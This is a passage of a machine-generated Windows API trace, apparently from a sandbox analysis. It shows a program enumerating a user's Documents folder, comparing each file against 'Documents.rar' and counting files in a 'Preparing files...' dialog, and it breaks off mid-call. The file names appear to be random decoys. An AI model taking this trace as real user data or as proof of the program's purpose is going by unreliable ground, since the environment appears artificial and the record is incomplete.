(Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="atEaVS6T.pptx", cchCount2=-1) returned 3 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1c) returned 0x3a2a40 [0053.708] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="AtQu0 xTj.docx", cchCount2=-1) returned 3 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x3a2a70 [0053.708] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1) returned 3 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x397580 [0053.708] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="buu1yiRA_xVu8tVc", cchCount2=-1) returned 3 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x22) returned 0x3a2aa0 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3ab120 [0053.708] FindFirstFileW (in: lpFileName="buu1yiRA_xVu8tVc\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330a00 [0053.708] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="hLAWY-nuLL.pptx", cchCount2=-1) returned 1 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x42) returned 0x39d5a0 [0053.708] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.708] GetLastError () returned 0x12 [0053.708] FindClose (in: hFindFile=0x330a00 | out: hFindFile=0x330a00) returned 1 [0053.708] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3ab120 | out: hHeap=0x2e0000) returned 1 [0053.708] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="C8sP.docx", cchCount2=-1) returned 3 [0053.708] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x3975a0 [0053.708] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Da5qX9dUi.xlsx", cchCount2=-1) returned 3 [0053.708] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.709] GetLastError () returned 0x12 [0053.709] SetLastError (dwErrCode=0x12) [0053.709] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.709] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.709] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.709] SetWindowTextW (hWnd=0x1027e, lpString="15 files found") returned 1 [0053.709] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.709] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.709] GetTickCount () returned 0xa644a1 [0053.709] PeekMessageW (in: lpMsg=0x1c4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c40) returned 1 [0053.709] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="MENUACC") returned 0x102b1 [0053.709] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="LISTACC") returned 0x102b3 [0053.709] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="FILEACC") returned 0x102b5 [0053.709] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="VIEWACC") returned 0x102b7 [0053.709] GetMessageW (in: lpMsg=0x1c4bd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1c4bd0) returned 1 [0053.709] GetFocus () returned 0x1029c [0053.709] IsDialogMessageW (hDlg=0x10278, lpMsg=0x1c4bd0) returned 1 [0053.709] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x0) returned 0x102 [0053.709] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.709] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x219f640 [0053.709] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0053.709] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x3975c0 [0053.709] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="dPdybr639pwn.odp", cchCount2=-1) returned 1 [0053.709] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x22) returned 0x219f670 [0053.709] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="e8 DbP8IuWCbGEcy.docx", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c) returned 0x39cf40 [0053.710] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="F-YPFV_qYj4bfRfXw9yB.docx", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x34) returned 0x3ab150 [0053.710] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="f7H1LR6Kr4.xlsx", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219f6a0 [0053.710] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="F_g z.xlsx", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x16) returned 0x3975e0 [0053.710] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="G8MmJscBgVAAB6EEG8d0.docx", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x34) returned 0x3ab190 [0053.710] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="GIwIhnYq", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x12) returned 0x397600 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3ac120 [0053.710] FindFirstFileW (in: lpFileName="GIwIhnYq\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330a00 [0053.710] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="01ty5ZVjiFX.xlsx", cchCount2=-1) returned 3 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x34) returned 0x3ab1d0 [0053.710] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="4aTOLAatL.rtf", cchCount2=-1) returned 3 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2e) returned 0x3ab210 [0053.710] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="gJxsA3QDXPNzu_.pps", cchCount2=-1) returned 1 [0053.710] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x38) returned 0x3ab250 [0053.710] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.710] GetLastError () returned 0x12 [0053.710] FindClose (in: hFindFile=0x330a00 | out: hFindFile=0x330a00) returned 1 [0053.710] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3ac120 | out: hHeap=0x2e0000) returned 1 [0053.711] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="HaxwmHj 0CtV7r4.docx", cchCount2=-1) returned 1 [0053.711] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2a) returned 0x3ab290 [0053.711] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="IdJZzMH4BMOKYzj.docx", cchCount2=-1) returned 1 [0053.711] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2a) returned 0x3ab2d0 [0053.711] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Jrdm wCY_KpB5kAazb.docx", cchCount2=-1) returned 1 [0053.711] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab310 [0053.711] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="jWTOiGMc8-CGVj37-J.xlsx", cchCount2=-1) returned 1 [0053.711] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab350 [0053.711] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="K3zCHl_.xlsx", cchCount2=-1) returned 1 [0053.711] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.711] GetLastError () returned 0x12 [0053.711] SetLastError (dwErrCode=0x12) [0053.711] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.711] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.711] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3450, nMaxCount=2560 | out: lpString="15 files found") returned 14 [0053.711] SetWindowTextW (hWnd=0x1027e, lpString="30 files found") returned 1 [0053.711] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.711] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.711] GetTickCount () returned 0xa644b0 [0053.711] PeekMessageW (in: lpMsg=0x1c4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c40) returned 1 [0053.711] GetMessageW (in: lpMsg=0x1c4bd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1c4bd0) returned 1 [0053.711] GetFocus () returned 0x1029c [0053.711] IsDialogMessageW (hDlg=0x10278, lpMsg=0x1c4bd0) returned 0 [0053.711] GetKeyState (nVirtKey=16) returned 0 [0053.712] TranslateAcceleratorW (hWnd=0x10278, hAccTable=0x102b5, lpMsg=0x1c4bd0) returned 0 [0053.712] TranslateMessage (lpMsg=0x1c4bd0) returned 0 [0053.712] DispatchMessageW (lpMsg=0x1c4bd0) returned 0x0 [0053.712] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.712] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3aa510, Size=0x1b00) returned 0x3ac120 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x219f6d0 [0053.712] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="kSD3eNYHYfeDhhgpl4.pptx", cchCount2=-1) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab390 [0053.712] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="KZD3FfQJWWhay.docx", cchCount2=-1) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x26) returned 0x219f700 [0053.712] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="L4AvX7khKXUu5.docx", cchCount2=-1) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x26) returned 0x219f730 [0053.712] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="LUsVMCA2kX5.xlsx", cchCount2=-1) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x22) returned 0x219f760 [0053.712] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="M-At.docx", cchCount2=-1) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x397620 [0053.712] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="M53FxPpcT", cchCount2=-1) returned 1 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x397640 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3adc30 [0053.712] FindFirstFileW (in: lpFileName="M53FxPpcT\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330a00 [0053.712] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="-GriIsafw.csv", cchCount2=-1) returned 3 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab3d0 [0053.712] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="1ue2Dui.csv", cchCount2=-1) returned 3 [0053.712] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c) returned 0x3ab410 [0053.713] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="FCaj7Z UR1.ots", cchCount2=-1) returned 1 [0053.713] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x32) returned 0x3ab450 [0053.713] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="oGJkVukoMxIO6MpIrH.xls", cchCount2=-1) returned 1 [0053.713] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x42) returned 0x39d5f0 [0053.713] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="s4EDs60 8.csv", cchCount2=-1) returned 1 [0053.713] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab490 [0053.713] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.713] GetLastError () returned 0x12 [0053.713] FindClose (in: hFindFile=0x330a00 | out: hFindFile=0x330a00) returned 1 [0053.713] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3adc30 | out: hHeap=0x2e0000) returned 1 [0053.713] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="mevC_E6.docx", cchCount2=-1) returned 1 [0053.713] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x219f790 [0053.713] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Music", cchCount2=-1) returned 1 [0053.713] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x12) returned 0x397660 [0053.713] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3adc30 [0053.713] FindFirstFileW (in: lpFileName="My Music\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0xffffffffffffffff [0053.713] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1c2200 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\My Music\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0xffffffffffffffff [0053.713] GetLastError () returned 0x5 [0053.713] GetFileAttributesW (lpFileName="My Music" (normalized: "c:\\users\\whuoxysd\\documents\\my music")) returned 0x2416 [0053.714] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3adc30 | out: hHeap=0x2e0000) returned 1 [0053.714] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Pictures", cchCount2=-1) returned 1 [0053.714] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x397680 [0053.714] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3adc30 [0053.714] FindFirstFileW (in: lpFileName="My Pictures\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0xffffffffffffffff [0053.714] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1c2200 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\My Pictures\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0xffffffffffffffff [0053.714] GetLastError () returned 0x5 [0053.714] GetFileAttributesW (lpFileName="My Pictures" (normalized: "c:\\users\\whuoxysd\\documents\\my pictures")) returned 0x2416 [0053.714] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3adc30 | out: hHeap=0x2e0000) returned 1 [0053.714] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Videos", cchCount2=-1) returned 1 [0053.714] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x3976a0 [0053.714] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3adc30 [0053.714] FindFirstFileW (in: lpFileName="My Videos\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0xffffffffffffffff [0053.715] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1c2200 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\My Videos\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0xffffffffffffffff [0053.715] GetLastError () returned 0x5 [0053.715] GetFileAttributesW (lpFileName="My Videos" (normalized: "c:\\users\\whuoxysd\\documents\\my videos")) returned 0x2416 [0053.715] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3adc30 | out: hHeap=0x2e0000) returned 1 [0053.715] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="N-1n4D-yiI1zNCjze.pptx", cchCount2=-1) returned 1 [0053.715] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.715] GetLastError () returned 0x5 [0053.715] SetLastError (dwErrCode=0x5) [0053.715] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.715] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.715] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3450, nMaxCount=2560 | out: lpString="30 files found") returned 14 [0053.715] SetWindowTextW (hWnd=0x1027e, lpString="42 files found") returned 1 [0053.716] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.716] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.716] GetTickCount () returned 0xa644b0 [0053.716] PeekMessageW (in: lpMsg=0x1c4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c40) returned 0 [0053.716] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2e) returned 0x3ab4d0 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="N5ZN.pptx", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x3976c0 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="N8uU1e.xlsx", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x3976e0 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="oAWd.pptx", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x397700 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="OhMb-UaJPoxHiI.pptx", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x28) returned 0x219f7c0 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="ohVGFnet7R0TYcogm.pptx", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2e) returned 0x3ab510 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="OKr5u -WV3PR.xlsx", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x24) returned 0x219f7f0 [0053.716] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1) returned 1 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1c) returned 0x219f820 [0053.716] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3adc30 [0053.716] FindFirstFileW (in: 